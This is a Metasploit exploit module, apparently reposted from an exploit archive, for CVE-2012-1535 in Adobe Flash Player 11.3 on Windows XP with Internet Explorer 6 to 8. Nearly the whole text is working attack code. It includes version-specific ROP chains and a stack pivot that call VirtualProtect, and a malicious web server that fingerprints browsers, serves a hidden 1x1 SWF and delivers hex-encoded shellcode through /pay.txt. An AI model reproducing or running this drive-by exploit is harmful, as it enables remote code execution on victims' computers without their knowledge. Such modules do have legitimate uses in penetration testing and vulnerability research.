Adobe Flash Player 11.3 Font Parsing Code Execution



EKU-ID: 2585 CVE: 2012-1535 OSVDB-ID: 84607
Author: sinn3r Published: 2012-08-20 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player 11.3 Font Parsing Code Execution",
      'Description'    => %q{
          This module exploits a vulnerability found in the ActiveX component of Adobe
        Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
        it is possible to gain arbitrary remote code execution under the context of the
        user, as exploited in the wild.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Alexander Gavrun', #Through iDefense
          'sinn3r',
          'juan vazquez'
        ],
      'References'     =>
        [
          [ 'CVE', '2012-1535' ],
          [ 'OSVDB', '84607'],
          [ 'BID', '55009'],
          [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
          [ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
          [ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
        ],
      'Payload'        =>
        {
          'Space'    => 1024
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested successfully on:
          # Flash 11.3.300.268
          # Flash 11.3.300.265
          # Flash 11.3.300.257
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop'    => nil
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop'    => nil
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Rop' => true
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 9 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
      ], self.class)
  end

  def nop
    return make_nops(4).unpack("L")[0].to_i
  end

  def get_payload(t, flash_version=nil)
    if t['Rop'].nil?
      p = [
        0x0c0c0c0c, # mapped at 1e0d0000
        0x0c0c0c0c,
        0x0c0c0c0c, # mapped at 1e0d0008
      ].pack("V*")

      p << payload.encoded
    else
      if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/

        print_status("Using Rop Chain For Flash: #{flash_version}")
        stack_pivot = [
          0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
          0x0c0c0c0c,
          0x1001d891, # xchg eax, esp # ret (1e0d0008)
        ].pack("V*")

        rop = [
          0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
          0x106e3384, # <- *&VirtualProtect()
          0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
          0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
          0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
          0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
          0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
          0x00000201, # <- change size to mark as executable if needed (-> ebx)
          0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
          0x10955000, # W pointer (lpOldProtect) (-> ecx)
          0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
          0x10649004, # ROP NOP (-> edi)
          0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
          0x00000040, # newProtect (0x40) (-> edx)
          0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
          nop,        # NOPS (-> eax)
          0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
        ].pack("V*")

      elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/

        print_status("Using Rop Chain For Flash: #{flash_version}")
        stack_pivot = [
          0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
          0x0c0c0c0c,
          0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
        ].pack("V*")

        rop = [
          0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
          0x106e338c, # <- *&VirtualProtect()
          0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
          0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
          0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
          0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
          0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
          0x00000201, # <- change size to mark as executable if needed (-> ebx)
          0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
          0x10955000, # W pointer (lpOldProtect) (-> ecx)
          0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
          0x105c1812, # ROP NOP (-> edi)
          0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
          0x00000040, # newProtect (0x40) (-> edx)
          0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
          nop,        # NOPS (-> eax)
          0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
        ].pack("V*")

      elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/

        print_status("Using Rop Chain For Flash: #{flash_version}")
        stack_pivot = [
          0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
          0x0c0c0c0c,
          0x1001d755, # xchg eax, esp # ret (1e0d0008)
        ].pack("V*")
        rop = [
          0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
          0x106e438c, # <- *&VirtualProtect()
          0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
          0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
          0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
          0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
          0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
          0x00000201, # <- change size to mark as executable if needed (-> ebx)
          0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
          0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
          0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
          0x10308b0f, # ROP NOP (-> edi)
          0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
          0x00000040, # newProtect (0x40) (-> edx)
          0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
          nop,        # NOPS (-> eax)
          0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
        ].pack("V*")

      else

        print_status("Default back to JRE ROP")
        stack_pivot = [
          0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
          0x0c0c0c0c,
          0x7c348b05, # xchg eax, esp # ret (1e0d0008)
        ].pack("V*")

        rop = [
          0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
          0x00001000, # (dwSize)
          0x7c347f98, # RETN (ROP NOP)
          0x7c3415a2, # JMP [EAX]
          0xffffffff,
          0x7c376402, # skip 4 bytes
          0x7c345255, # INC EBX # FPATAN # RETN
          0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
          0x7c344f87, # POP EDX # RETN
          0x00000040, # flNewProtect
          0x7c34d201, # POP ECX # RETN
          0x7c38b001, # &Writable location
          0x7c347f97, # POP EAX # RETN
          0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
          0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
          0x7c345c30, # ptr to 'push esp #  ret '
        ].pack("V*")

      end
      p = stack_pivot
      p << rop
      p << payload.encoded
    end
    return p
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  #IE 8 on Windows XP SP3
    else
      return nil
    end
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    print_status("User-agent: #{agent}")
    my_target = get_target(agent)

    print_status("Client requesting: #{request.uri}")

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    # The SWF request itself
    if request.uri =~ /\.swf$/
      print_status("Sending SWF")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
      return
    end

    # The TXT payload request
    if request.uri =~ /\.txt$/
      flash_version = request.headers['x-flash-version']
      shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
      print_status("Sending Payload")
      send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
      return
    end

    swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"

    html = %Q|
    <html>
    <head>
    </head>
    <body>
    <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
    <param name="movie" value="#{swf_uri}">
    </object>
    </body>
    </html>
    |

    html = html.gsub(/^\t\t/, '')

    # we need to handle direct /pay.txt requests
    proc = Proc.new do |cli, req|
      on_request_uri(cli, req)
    end
    add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil

    print_status("Sending HTML")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  def exploit
    @swf = create_swf
    print_status("SWF Loaded: #{@swf.length.to_s} bytes")
    super
  end

  def create_swf
    path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )
    fd = ::File.open( path, "rb" )
    swf = fd.read(fd.stat.size)
    fd.close
    return swf
  end

  def cleanup
    vprint_status("Removing txt resource")
    remove_resource('/pay.txt') rescue nil
    super
  end

end